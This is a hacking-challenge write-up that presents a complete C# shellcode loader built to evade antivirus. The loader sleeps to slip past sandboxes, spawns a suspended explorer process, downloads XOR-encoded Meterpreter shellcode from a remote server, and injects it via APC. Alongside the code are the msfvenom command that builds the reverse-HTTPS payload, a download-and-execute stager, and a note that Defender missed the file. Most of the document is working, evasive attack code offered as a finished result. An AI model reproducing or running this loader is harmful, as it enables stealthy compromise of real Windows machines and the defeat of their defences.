Hacking Challenge by Carlos Cajigas

Perform Code Injection Evading Antivirus

Source code:

```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;

namespace Hi
{
    internal class Win32
    {
        [DllImport("kernel32.dll")]
        public static extern void Sleep(uint dwMilliseconds);

        [DllImport("kernel32.dll", SetLastError = true)]
        static public extern uint ResumeThread(IntPtr hThread);

        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAllocEx(
          IntPtr hProcess,
          IntPtr lpAddress,
          int dwSize,
          AllocationType flAllocationType,
          MemoryProtection flProtect);

        [DllImport("kernel32.dll")]
        public static extern bool WriteProcessMemory(
          IntPtr hProcess,
          IntPtr lpBaseAddress,
          byte[] lpBuffer,
          int nSize,
          ref IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualProtectEx(
          IntPtr hProcess,
          IntPtr lpAddress,
          int dwSize,
          MemoryProtection flNewProtect,
          out uint lpflOldProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateRemoteThread(
          IntPtr hProcess,
          IntPtr lpThreadAttributes,
          uint dwStackSize,
          IntPtr lpStartAddress,
          IntPtr lpParameter,
          uint dwCreationFlags,
          out IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        public static extern bool CreateProcess(
          string lpApplicationName,
          string lpCommandLine,
          IntPtr lpProcessAttributes,
          IntPtr lpThreadAttributes,
          bool bInheritHandles,
          uint dwCreationFlags,
          IntPtr lpEnvironment,
          string lpCurrentDirectory,
          ref STARTUPINFO lpStartupInfo,
          ref PROCESS_INFORMATION lpProcessInformation);

        [DllImport("kernel32.dll")]
        public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr
hThread, IntPtr dwData);

        public struct STARTUPINFO
        {
            public Int32 cb;
            public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public Int32 dwX;
        public Int32 dwY;
        public Int32 dwXSize;
        public Int32 dwYSize;
        public Int32 dwXCountChars;
        public Int32 dwYCountChars;
        public Int32 dwFillAttribute;
        public Int32 dwFlags;
        public Int16 wShowWindow;
        public Int16 cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }

    [Flags]
    public enum AllocationType
    {
        Commit = 0x1000,
        Reserve = 0x2000,
        Decommit = 0x4000,
        Release = 0x8000,
        Reset = 0x80000,
        Physical = 0x400000,
        TopDown = 0x100000,
        WriteWatch = 0x200000,
        LargePages = 0x20000000,
        ReadWrite = 0x04
    }
```

```
        [Flags]
        public enum MemoryProtection
        {
            Execute = 0x10,
            ExecuteRead = 0x20,
            ExecuteReadWrite = 0x40,
            ExecuteWriteCopy = 0x80,
            NoAccess = 0x01,
            ReadOnly = 0x02,
            ReadWrite = 0x04,
            WriteCopy = 0x08,
            GuardModifierflag = 0x100,
            NoCacheModifierflag = 0x200,
            WriteCombineModifierflag = 0x400
        }
    }
    public static class CreationFlags
    {
        public const uint SUSPENDED = 0x4;
    }
    internal class Program
    {
        static async Task Main(string[] args)
        {

            DateTime t1 = DateTime.Now;
            Win32.Sleep(20000);
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;
            if (deltaT < 9.5)
            {
                return;
            }

            Win32.STARTUPINFO si = new Win32.STARTUPINFO();
            Win32.PROCESS_INFORMATION pi = new
Win32.PROCESS_INFORMATION();

            string app = @"explorer";
            bool procinit = Win32.CreateProcess(null, app, IntPtr.Zero,
IntPtr.Zero, false, CreationFlags.SUSPENDED, IntPtr.Zero, null, ref si,
ref pi);

            byte[] shellcode;

            using (var handler = new HttpClientHandler())
            {
                handler.ServerCertificateCustomValidationCallback =
(message, cert, chain, sslPolicyErrors) => true;

                using (var client = new HttpClient(handler))
                {
                    shellcode = await
client.GetByteArrayAsync("http://<EC2 Instance Public IP>/lmao.bin");
                }
            }

            for (int i = 0; i < shellcode.Length; i++)
            {
                    shellcode[i] = (byte)(shellcode[i] ^ (byte)'s');
            }

            IntPtr resultPtr = Win32.VirtualAllocEx(pi.hProcess,
IntPtr.Zero, shellcode.Length, Win32.AllocationType.Commit |
Win32.AllocationType.Reserve, Win32.MemoryProtection.ExecuteReadWrite);

            IntPtr bytesWritten = IntPtr.Zero;
            bool resultBool = Win32.WriteProcessMemory(pi.hProcess,
resultPtr, shellcode, shellcode.Length, ref bytesWritten);

            uint oldProtect = 0;
            IntPtr proc_handle = pi.hProcess;

            resultBool = Win32.VirtualProtectEx(proc_handle, resultPtr,
shellcode.Length, Win32.MemoryProtection.ExecuteRead, out oldProtect);

            IntPtr ptr = Win32.QueueUserAPC(resultPtr, pi.hThread,
IntPtr.Zero);
            IntPtr ThreadHandle = pi.hThread;

            Win32.ResumeThread(ThreadHandle);
        }
```

```
    }

}
```

Generate Meterpreter Shellcode:

```
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<EC2 VM
PUBLIC IP> LPORT=443 -f raw -o /var/www/html/lmao.bin --encrypt xor --
encrypt-key s
```

VirusTotal Scan:
https://www.virustotal.com/gui/file/badd3613a784874e4496703a71b264d52dd15f80cab075ab13695510a625a675

Detected by 2/70 engines, Defender did not detect it.

The code performs the following:

- Sleeps for 20 seconds for basic Sandbox Evasion
- Creates "explorer.exe" process in a suspended state
- Downloads XOR encrypted shellcode directly from Server
- Decrypts the XOR'd shellcode with key "s"
- Injects shellcode into suspended process
- Resumes process execution by create a new thread

Using PowerShell's `wget` Alias:

```
# Download payload stager
wget http://<EC2 Public IP>/l.exe -o C:\Users\attacker\Desktop\l.exe

# Execute stager
C:\Users\attacker\Desktop\l.exe
```

Leave note:

```
ubuntu$ echo "ViTo ->
badd3613a784874e4496703a71b264d52dd15f80cab075ab13695510a625a675" >
hello_from_meterpreter.txt
```

```
meterpreter> cd C:\\Users\\attacker\\Desktop
meterpreter> upload hello_from_meterpreter.txt
```